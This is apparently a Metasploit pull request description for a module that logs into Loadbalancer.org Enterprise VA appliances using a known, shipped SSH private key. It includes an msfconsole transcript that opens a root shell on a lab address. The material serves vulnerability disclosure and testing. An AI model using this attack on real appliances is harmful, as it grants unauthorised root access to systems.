rapid7/metasploit-framework — pull request #3109 by xistence (2014-03-17 07:24:16+00:00)
Title: Loadbalancer.org Enterprise VA SSH privkey exposure

The following abuses a known private SSH key in the Loadbalancer.org Enterprise VA appliance.

Download VM from http://downloads.loadbalancer.org/releases/virtual/current/LBVMESXv7.zip
Deploy it on for example ESXi and boot it up, it should be able to get an IP from a DHCP server.

Run the exploit :)

msf exploit(loadbalancerorg_enterprise_known_privkey) > set RHOST 192.168.2.21
RHOST => 192.168.2.21
msf exploit(loadbalancerorg_enterprise_known_privkey) > exploit

[+] 192.168.2.21:22 - Successful login
[*] Found shell.
[*] Command shell session 1 opened (192.168.11.104:60057 -> 192.168.2.21:22) at 2014-03-14 13:26:09 +0700

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)